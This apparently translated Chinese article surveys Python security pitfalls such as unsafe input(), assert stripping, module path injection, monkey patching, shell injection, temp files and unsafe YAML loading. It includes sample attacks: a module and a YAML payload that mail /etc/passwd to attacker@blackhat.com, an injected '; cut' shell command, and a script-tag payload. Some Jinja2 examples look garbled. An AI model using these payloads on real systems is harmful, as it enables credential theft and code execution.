前言
Python因其在開發更大、更復雜應用程式方面獨特的便捷性,使得它在計算機環境中變得越來越不可或缺。雖然其明顯的語言清晰度和使用友好度使得軟體工程師和系統管理員放下了戒備,但是他們的編碼錯誤還是有可能會帶來嚴重的安全隱患。
這篇文章的主要受眾是還不太熟悉Python的人,其中會提及少量與安全有關的行為以及有經驗開發人員遵循的規則。
輸入函式
在Python2強大的內建函式中,輸入函式完全就是一個大的安全隱患。一旦呼叫輸入函式,任何從stdin中讀取的資料都會被認定為Python程式碼:
1 2 3 4 5 6 7 |
[size=1em] $ python2 [size=1em] >>> input() [size=1em] dir() [size=1em] ['__builtins__', '__doc__', '__name__', '__package__'] [size=1em] >>> input() [size=1em] __import__('sys').exit() [size=1em] $ |
顯然,只要指令碼stdin中的資料不是完全可信的,輸入函式就是有危險的。Python 2 檔案將 raw_input 認定為一個安全的選擇。在Python3中,輸入函式相當於是 raw_input,這樣就可以完全修復這一問題。
assert語句
還有一條使用 assert 語句編寫的程式碼語句,作用是捕捉 Python 應用程式中下一個不可能條件。
1 2 3 |
[size=1em]def verify_credentials(username, password): [size=1em] assert username and password, 'Credentials not supplied by caller' [size=1em] ... authenticate possibly null user with null password ... |
然而,Python在編譯原始碼到優化的位元組程式碼 (如 python-O) 時不會有任何的assert 語句說明。這樣的移除使得程式設計師編寫用來抵禦攻擊的程式碼保護都形同虛設。
這一弱點的根源就是assert機制只是用於測試,就像是c++語言中那樣。程式設計師必須使用其他手段才能確保資料的一致性。
可重用整數
在Python中一切都是物件,每一個物件都有一個可以通過 id 函式讀取的唯一標示符。可以使用運算子弄清楚是否有兩個變數或屬性都指向相同的物件。整數也是物件,所以這一操作實際上是一種定義:
1 2 |
[size=1em]>>> 999+1 is 1000 [size=1em] False |
上述操作的結果可能會令人大吃一驚,但是要提醒大家的是這樣的操作是同時使用兩個物件標示符,這一過程中並不會比較它們的數值或是其它任何值。但是:
1 2 |
[size=1em]>>> 1+1 is 2 [size=1em] True |
對於這種行為的解釋就是Python當中有一個物件集合,代表了最開始的幾百個整數,並且會重利用這些整數以節省記憶體和物件建立。更加令人疑惑的就是,不同的Python版本對於“小整數”的定義是不一樣的。
這裡所指的快取永遠不會使用運算子進行數值比較,運算子也專門是為了處理物件標示符。
浮點數比較
處理浮點數可能是一件更加複雜的工作,因為十進位制和二進位制在表示分數的時候會存在有限精度的問題。導致混淆的一個常見原因就是浮點數對比有時候可能會產生意外的結果。下面是一個著名的例子:
1 2 |
[size=1em]>>> 2.2 * 3.0 == 3.3 * 2.0 [size=1em] False |
這種現象的原因是一個舍入錯誤:
1 2 3 4 |
[size=1em]>>> (2.2 * 3.0).hex() [size=1em] '0x1.a666666666667p+2' [size=1em] >>> (3.3 * 2.0).hex() [size=1em] '0x1.a666666666666p+2' |
另一個有趣的發現就是Python float 型別支援無限概念。一個可能的原因就是任何數都要小於無限:
1 2 |
[size=1em]>>> 10**1000000 > float('infinity') [size=1em] False |
但是在Python3中,有一種型別的物件不支援無限:
1 2 |
[size=1em] >>> float > float('infinity') [size=1em] True |
一個最好的解決辦法就是堅持使用整數演算法,還有一個辦法就是使用十進位制核心模組,這樣可以為使用者遮蔽煩人的細節問題和缺陷。
一般來說,只要有任何算術運算就必須要小心舍入錯誤。詳情可以參閱 Python 文件中的《釋出和侷限性》一章。
私有屬性
Python 不支援隱藏的物件屬性。但還有一種變通方法,那就是基於特徵的錯位雙下劃線屬性。雖然更改屬性名稱只會作用於程式碼,硬編碼到字串常量的屬性名稱仍未被修改。雙下劃線屬性明顯"隱藏在" getattr()/hasattr() 函式時可能會導致混亂的行為。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
[size=1em] >>> class X(object): [size=1em] ... def __init__(self): [size=1em] ... self.__private = 1 [size=1em] ... def get_private(self): [size=1em] ... return self.__private [size=1em] ... def has_private(self): [size=1em] ... return hasattr(self, '__private') [size=1em] ... [size=1em] >>> x = X() [size=1em] >>> [size=1em] >>> x.has_private() [size=1em] False [size=1em] >>> x.get_private() [size=1em] 1 |
此隱藏屬性功能不適用於沒有類定義的屬性,這有效地在引用中“分裂”了任何給定的屬性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
[size=1em] >>> class X(object): [size=1em] ... def __init__(self): [size=1em] ... self.__private = 1 [size=1em] >>> [size=1em] >>> x = X() [size=1em] >>> [size=1em] >>> x.__private [size=1em] Traceback [size=1em] ... [size=1em] AttributeError: 'X' object has no attribute '__private' [size=1em] >>> [size=1em] >>> x.__private = 2 [size=1em] >>> x.__private [size=1em] 2 [size=1em] >>> hasattr(x, '__private') [size=1em] True |
如果一個程式設計師過度依賴自己的程式碼而不關注私有屬性的不對稱雙下劃線屬性,有可能會造成極大的安全隱患。
模組注入
Python 模組注入系統是強大而複雜的。在搜尋路徑中找到由 sys.path 列表定義的檔案或目錄名稱可以匯入模組和包。搜尋路徑初始化是一個複雜的過程,這一過程依賴於 Python 版本、 平臺和本地配置。要在一個 Python 應用程式上實行一次成功攻擊,攻擊者需要找到方式將惡意 Python 模組放入目錄或可注入的包檔案,以確保Python 可能會在嘗試匯入模組時“中招”。
解決方法是保持對所有目錄和軟體包檔案搜尋路徑的安全訪問許可權,以確保未經授權的使用者沒有訪問許可權。需要記住的是,最初指令碼呼叫 Python 直譯器所在的目錄會自動插入到搜尋路徑。
執行類似於下面的指令碼顯示實際的搜尋路徑︰
1 2 3 4 5 |
[size=1em]$ cat myapp.py [size=1em] #!/usr/bin/python [size=1em] import sys [size=1em] import pprint [size=1em] pprint.pprint(sys.path) |
Python 程式的當前工作目錄被注入的搜尋路徑是在 Windows 平臺上,而不是指令碼位置 。在 UNIX 平臺上,每當從 stdin 或命令列讀取程式程式碼 ("-"或"-c"或"-m"選項)時,當前的工作目錄都會自動插入到 sys.path :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
[size=1em]$ echo "import sys, pprint; pprint.pprint(sys.path)" | python - [size=1em] ['', [size=1em] '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', [size=1em] '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', [size=1em] ...] [size=1em] $ python -c 'import sys, pprint; pprint.pprint(sys.path)' [size=1em] ['', [size=1em] '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', [size=1em] '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', [size=1em] ...] [size=1em] $ [size=1em] $ cd /tmp [size=1em] $ python -m myapp [size=1em] ['', [size=1em] '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', [size=1em] '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', [size=1em] ...] |
通過命令列在 Windows 或通過程式碼上執行 Python的一個優先建議就是,明確從當前工作目錄更改到一個安全目錄時存在的模組注入風險。
搜尋路徑的另一個可能來源是 $PYTHONPATH 環境變數的內容。從過程環境對 sys.path 的方便快取是通過 Python 直譯器,因為它會忽視 $PYTHONPATH 變數的-E 選項。
匯入程式碼執行
雖然看得不明顯,但是匯入語句實際上會導致正在匯入模組中的程式碼執行。這就是為什麼即使只是匯入不信任模組都是有風險的。匯入一個下面這種的簡單模組都可能會導致不愉快的後果︰
1 2 3 4 5 6 7 8 9 10 |
[size=1em] $ cat malicious.py [size=1em] import os [size=1em] import sys [size=1em] os.system('cat /etc/passwd | mail attacker@blackhat.com') [size=1em] del sys.modules['malicious'] # pretend it's not imported [size=1em] $ python [size=1em] >>> import malicious [size=1em] >>> dir(malicious) [size=1em] Traceback (most recent call last): [size=1em] NameError: name 'malicious' is not defined |
如果攻擊者結合 sys.path 條目注入進行攻擊,就有可能進一步破解系統。
猴子補丁
在執行時更改Python 物件屬性的過程被稱為猴子補丁。Python 是一種動態語言,完全支援在執行時更改程式和程式碼。一旦惡意模組通過某種方式進入其中,任何現有的可變物件都有可能在不知不覺中被惡意修改。考慮以下情況︰
1 2 3 4 5 6 7 |
[size=1em]$ cat nowrite.py [size=1em] import builtins [size=1em] def malicious_open(*args, **kwargs): [size=1em] if len(args) > 1 and args[1] == 'w': [size=1em] args = ('/dev/null',) + args[1:] [size=1em] return original_open(*args, **kwargs) [size=1em] original_open, builtins.open = builtins.open, malicious_open |
如果上面的程式碼被 Python 直譯器執行,那麼一切寫入檔案都不會被儲存到檔案系統中︰
1 2 3 4 5 6 7 |
[size=1em] >>> import nowrite [size=1em] >>> open('data.txt', 'w').write('data to store') [size=1em] 5 [size=1em] >>> open('data.txt', 'r') [size=1em] Traceback (most recent call last): [size=1em] ... [size=1em] FileNotFoundError: [Errno 2] No such file or directory: 'data.txt' |
攻擊者可以利用 Python 垃圾回收器 (gc.get_objects()) 掌握所有現有物件,並破解任意物件。
在 Python 2中, 內建物件可以通過魔法 __builtins__ 模組進行訪問。一個已知的手段就是利用 __builtins__ 的可變性,這可能引起巨大災難︰
1 2 3 4 5 |
[size=1em] >>> __builtins__.False, __builtins__.True = True, False [size=1em] >>> True [size=1em] False [size=1em] >>> int(True) [size=1em] 0 |
在 Python 3中, 對真假的賦值不起作用,所以攻擊者不能操縱這種方式進行攻擊。
函式在 Python 中是一類物件,它們保持對許多函式屬性的引用。尤其是通過 __code__ 屬性引用可執行位元組碼,當然,可以對這一屬性進行修改︰
1 2 3 4 5 6 7 8 9 10 11 |
[size=1em] >>> import shutil [size=1em] >>> [size=1em] >>> shutil.copy [size=1em] <function copy at 0x7f30c0c66560> [size=1em] >>> shutil.copy.__code__ = (lambda src, dst: dst).__code__ [size=1em] >>> [size=1em] >>> shutil.copy('my_file.txt', '/tmp') [size=1em] '/tmp' [size=1em] >>> shutil.copy [size=1em] <function copy at 0x7f30c0c66560> [size=1em] >>> |
一旦應用上述的猴子修補程式,儘管 shutil.copy 函式看上去仍然可用,但其實它已經默默地停止工作了,這是因為沒有 op lambda 函式程式碼為它設定。
Python 物件的型別是由 __class__ 屬性決定的。邪惡的攻擊者可能會改變現有物件的型別來“搞破壞”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
[size=1em] >>> class X(object): pass [size=1em] ... [size=1em] >>> class Y(object): pass [size=1em] ... [size=1em] >>> x_obj = X() [size=1em] >>> x_obj [size=1em] <__main__.X object at 0x7f62dbe5e010> [size=1em] >>> isinstance(x_obj, X) [size=1em] True [size=1em] >>> x_obj.__class__ = Y [size=1em] >>> x_obj [size=1em] <__main__.Y object at 0x7f62dbe5d350> [size=1em] >>> isinstance(x_obj, X) [size=1em] False [size=1em] >>> isinstance(x_obj, Y) [size=1em] True [size=1em] >>> |
針對惡意猴子修補唯一的解決方法就是確保匯入的Python 模組是真實完整的 。
通過子程式進行外殼注入
Python也被稱為是一種膠水語言,所以對於Python指令碼來說,將系統管理任務委派給其他程式通過詢問作業系統來執行它們是很常見的,這樣的過程還可能會提供額外的引數。對於這樣的任務來說,提供子程式模組會更易於使用:
1 2 3 4 5 |
[size=1em] >>> from subprocess import call [size=1em] >>> [size=1em] >>> unvalidated_input = '/bin/true' [size=1em] >>> call(unvalidated_input) [size=1em] 0 |
但這裡面有蹊蹺!為了使用 UNIX 外殼服務(如擴充套件命令列引數),殼關鍵字呼叫函式的引數應該變成真。然後呼叫函式的第一個引數作為傳遞,以方便系統外殼進一步進行分析和解釋。一旦呼叫函式 (或其他子程式模組中實現的函式)獲得未經驗證的使用者輸入,底層系統資源就變得無遮無攔了。
1 2 3 4 5 6 7 8 9 10 11 |
[size=1em] >>> from subprocess import call [size=1em] >>> [size=1em] >>> unvalidated_input = '/bin/true' [size=1em] >>> unvalidated_input += '; cut -d: -f1 /etc/passwd' [size=1em] >>> call(unvalidated_input, shell=True) [size=1em] root [size=1em] bin [size=1em] daemon [size=1em] adm [size=1em] lp [size=1em] 0 |
顯然更安全的做法就是將外殼關鍵字保持在其預設的虛假狀態,並且提供一個命令向量和子程式函式引數,這樣就可以不引用 UNIX 外殼執行外部命令。在第二次的呼叫形式中,外殼程式不會擴充套件其引數或是指令。
1 2 3 |
[size=1em] >>> from subprocess import call [size=1em] >>> [size=1em] >>> call(['/bin/ls', '/tmp']) |
如果應用程式的性質決定必須使用 UNIX 外殼服務,那麼保證一切子流程沒有多餘的外殼功能可以被惡意使用者加以利用是十分重要。在較新的 Python 版本中,標準庫中的 shlex.quote 函式可以應對外殼逃逸。
臨時檔案
雖然只有對臨時檔案的不當使用才會引起程式語言故障,但是在 Python 指令碼中存在驚人的相似情況,所以還是值得一提的。
這種漏洞可能會導致對檔案系統訪問許可權的不安全利用,其中可能會涉及到中間步驟,最終導致資料機密性或完整性的安全問題。一般問題的詳細描述可以在 CWE 377中找到。
幸運的是,Python 附帶的標準庫中有臨時檔案模組,它會提供可以"以最安全的方式"建立臨時檔名稱的高階函式。不過 tempfile.mktemp 執行還是有缺陷的,因為庫的向後相容性問題仍然存在。還有一點,那就是永遠不要使用 tempfile.mktemp 功能,而是在不得不使用檔案的時候使用臨時檔案、TemporaryFile 或 tempfile.mkstemp 。
意外引入一個缺陷的另一種可能性是使用 shutil.copyfile 函式。這裡的問題是該目標檔案可能是以最不安全的方式建立的。
精通安全的開發人員可能會考慮首先將原始檔複製到隨機的臨時檔名稱,然後以最終名稱重新命名臨時檔案。雖然這可能看起來像是一個好主意,但是如果由 shutil.move 函式執行重新命名就還是不安全的。問題就是,如果臨時檔案沒有建立在最終檔案儲存的檔案系統,那麼 shutil.move 將無法以原子方式 (通過 os.rename) 移動它,只會預設將其移動到不安全的 shutil.copy。解決辦法就是使用 os.rename 而不是 shutil.move os.rename,因為這注定沒辦法跨越檔案系統邊界。
進一步的併發隱患就是 shutil.copy 無法複製所有檔案後設資料,這可能會導致建立的檔案不受保護。
不僅限於 Python,所有的語言中都要小心修改遠端檔案系統上的檔案型別。資料一致性保證往往會很據檔案訪問序列化的不同而產生差異。舉例來說,NFSv2 不承認開放系統呼叫的 O_EXCL 標示符,但這是建立原子檔案的關鍵。
不安全的反序列化
存在許多資料序列化方法,其中Pickle的具體目的是序列化 Python 物件。其目標是將可用的 Python 物件轉儲到八位位元組流以供儲存或傳輸,然後將其重建到另一個 Python 例項。重建步驟本身就存在風險,因為這可能會導致序列化的資料被篡改。Pickle的不安全性是公認的,Python 文件中也明確指出了。
作為一種流行的配置檔案格式,YAML 有時候也被看作一種強大的序列化協議,能夠誘騙反序列化程式執行任意程式碼。更危險的是 Python-PyYAML 事實上預設 YAML 執行看似無害的反序列化︰
1 2 3 4 5 6 7 8 9 |
[size=1em] >>> import yaml [size=1em] >>> [size=1em] >>> dangerous_input = """ [size=1em] ... some_option: !!python/object/apply:subprocess.call [size=1em] ... args: [cat /etc/passwd | mail attacker@blackhat.com] [size=1em] ... kwds: {shell: true} [size=1em] ... """ [size=1em] >>> yaml.load(dangerous_input) [size=1em] {'some_option': 0} |
建議的修復方法就是永遠都使用 yaml.safe_load 來處理你不能信任的 YAML 序列化。儘管如此,考慮其他序列化庫傾向於使用轉儲/載入函式名稱來滿足類似用途,當前的PyYAML 預設還是感覺有點挑釁意味。
模組化引擎
Web 應用程式的作者很久以前就開始使用Python了 ,過去十年開發出了大量的 Web 框架。很多人開始利用模板引擎生成動態 web 內容。除了 web 應用程式,模板引擎還在一些完全不同的軟體中找到了自己存在的價值,比如說安塞波它自動化工具。
從靜態模板和執行變數中呈現內容時,還是存在通過執行變數進行使用者控制程式碼注入的風險。成功安裝的 web 應用程式攻擊可能會導致跨站點指令碼漏洞。針對伺服器端模板注入攻擊的通常解決辦法是在進入最終檔案之前清除模板變數內容,具體做法就是否認、 剝離對於給定標記或其他特定於域的語言而言任何的奇怪轉義字元。
不幸的是,模板化引擎不能保證更加嚴格的安全性。現在最常用的做法中沒有一種預設使用轉義機制,主要依靠的還是開發人員對風險的認識。
例如現在最流行的工具之一,Jinja2所呈現的一切︰
1 2 3 4 5 6 7 8 9 10 11 |
[size=1em] >>> from jinja2 import Environment [size=1em] >>> [size=1em] >>> template = Environment().from_string('') [size=1em] >>> template.render(variable='<script>do_evil()</script>') [size=1em] '<script>do_evil()</script>' [size=1em] ......除非多種可能的轉義機制中存在一種可以通過改變其預設設定來顯現: [size=1em] >>> from jinja2 import Environment [size=1em] >>> [size=1em] >>> template = Environment(autoescape=True).from_string('') [size=1em] >>> template.render(variable='<script>do_evil()</script>') [size=1em] '<script>do_evil()</script>' |
更復雜的問題是,在某些使用情況下,程式設計師不想清除所有的模板變數,而是需要保持其中一些成分不變。這就需要引入"篩選器"模板化引擎地址,能夠讓程式設計師選擇需要清除的個體變數內容。Jinja2 還在每個模板的基礎上提供了一種切換預設逃逸值的選項。
如果開發人員避開了一個語言標記集合,那麼程式碼就會變得更加不安全,可能會導致攻擊者直接進入最終檔案。